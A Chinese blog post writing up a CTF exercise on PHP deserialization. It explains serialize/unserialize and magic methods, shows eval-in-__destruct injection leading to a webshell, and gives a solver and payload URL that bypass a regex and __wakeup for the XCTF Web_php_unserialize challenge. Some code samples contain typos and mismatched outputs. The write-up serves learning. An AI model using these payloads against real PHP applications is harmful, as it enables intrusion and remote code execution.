记一次ctf反序列化

0x01 前言

学习到了反序列化
参考大佬文章
详解之php反序列化-php教程-PHP中文网
PHP反序列化漏洞入门 - FreeBuf网络安全行业门户

serialize 和 unserialize

序列化(serialize)

<!--?php
	class Ctf{
		public $flag='flag{XXXXX}';
		public $name='cxk';
		public $age='10';	
	}  #定义一个类 类中三个变量
	$ctfer=new Ctf();   #实例化这个类 将一个类转换为对象
	$ctfer--->flag='flag{adedyui}';
	$ctfer->age='18';
	$ctfer->name='Scholar';
	echo serialize($ctfer)   #将转换后的对象进行修改变量值,然后进行序列化输出
?>
//输出结果
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象,序列化的是对象,序列化数组用A
3代表类的名字 为3个字符
Ctf为类名
3代表有三个属性/变量
s代表字符串
4字符串长度
flag为变量/属性名 
s:13:"flag{adedyui}" 字符串,属性长度,属性值
往后同理

反序列化(unserialize)

flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
$str=serialize($ctfer);
echo '<pre>';
var_dump(unserialize($str))

?>

//输出结果
object(Ctf)#2 (3) {
    ["flag"]=>
    string(13) "flag{abedyui}"
    ["name"]=>
    string(7) "Sch0lar"
    ["age"]=>
    string(2) "18"
}

0x03访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度属性值会有所不同

public(公有)
protected(受保护)// %00*%00属性名
private(私有的) // %00类名%00属性名

protected属性被序列化的时候属性值会变成 %00\*%00属性名
private属性被序列化的时候属性值会变成 **`%00类名%00属性名

例子

<!--?php
    class Ctf{
    	public $name='Sch0lar';
    	protected $age='19';
    	private $flag='get flag';
	}
	$ctfer=new Ctf();     //实例化一个对象
    echo serialize($ctfer);
?-->
//输出结果
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}
实际结果
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"%00*%00age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}
//解释
s:6:"*age"   //*前后出现两个空白符,一个空白符长度为1,所以序列化后,该属性长度为6
s:9:"Ctfflag"   //类名Ctf前后出现两个%00空白符,所以长度为9

0x04 魔法函数

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 在对象上下文中调用不可访问的方法时触发

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 用于将数据写入不可访问的属性

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset()  在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

serialize()函数会检查类中是否存在一个魔术函数sleep(),如果存在,sleep()方法会被优先调用

sleep()可以决定哪些属性可以被序列化,如果没有sleep()则默认全部序列化

实例
<!--?php
	class Ctf{
	public $flag='flag{xxxxx}';
	public $name='cxk';
	public $age='10';
	public function _sleep(){
		return array('flag','age');
		}
	}
	$ctfer=new Ctf();
	$ctfer--->flag='flag{abedyui}';
	ctfer->age='18';
	$ctfer->name='Scholar';
	echo serialize($ctfer)
?>
// 输出结果
O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}

AND

与序列化类似,unserialize()会检查类中国是否存在一个_wakeup魔术方法,如果存在则优先调用魔术方法,再序列化

可以在_wakeup()方法对属性/变量进行初始化,赋值或者改变

实例
<!--?php
    class Ctf{
    	public $flag='flag{****}';
    	public $name='cxk';
    	public $age='10';
    	public function __wakeup(){
        	$this--->flag='no flag';        //在反序列化时,flag属性将被改变为“no flag”
    	}
	}
	$ctfer=new Ctf();     //实例化一个对象
	$ctfer->flag='flag{adedyui}';
	$ctfer->name='Sch0lar';
	$ctfer->age='18'
    
    $str=serialize($ctfer);
	echo '<pre>';
	var_dump(unserialize($str));
?>
// 输出结果
object(Ctf)#2 (3) {
    ["flag"]=>
    string(13) "no flag"    //被修改为no flag
    ["name"]=>
    string(7) "Sch0lar"
    ["age"]=>
    string(2) "18"
}

其他注入例子

class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

image
另一个例子

class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

所以我们利用这个漏洞点便可以获取web shell了
image

0x05 xctf Web_php_unserialize

image

代码审计

绕过两点

1)绕过正则表达式

2)绕过魔法函数_wakeup()函数

1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,在反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

class Demo {
  private $file = 'index.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'index.php') {
      //the secret is in the fl4g.php
      $this->file = 'index.php';
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo('fl4g.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>

最终payload

http://111.200.241.244:62807/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

posted @ 2021-12-14 12:42  Air、  阅读(528)  评论(0)    收藏  举报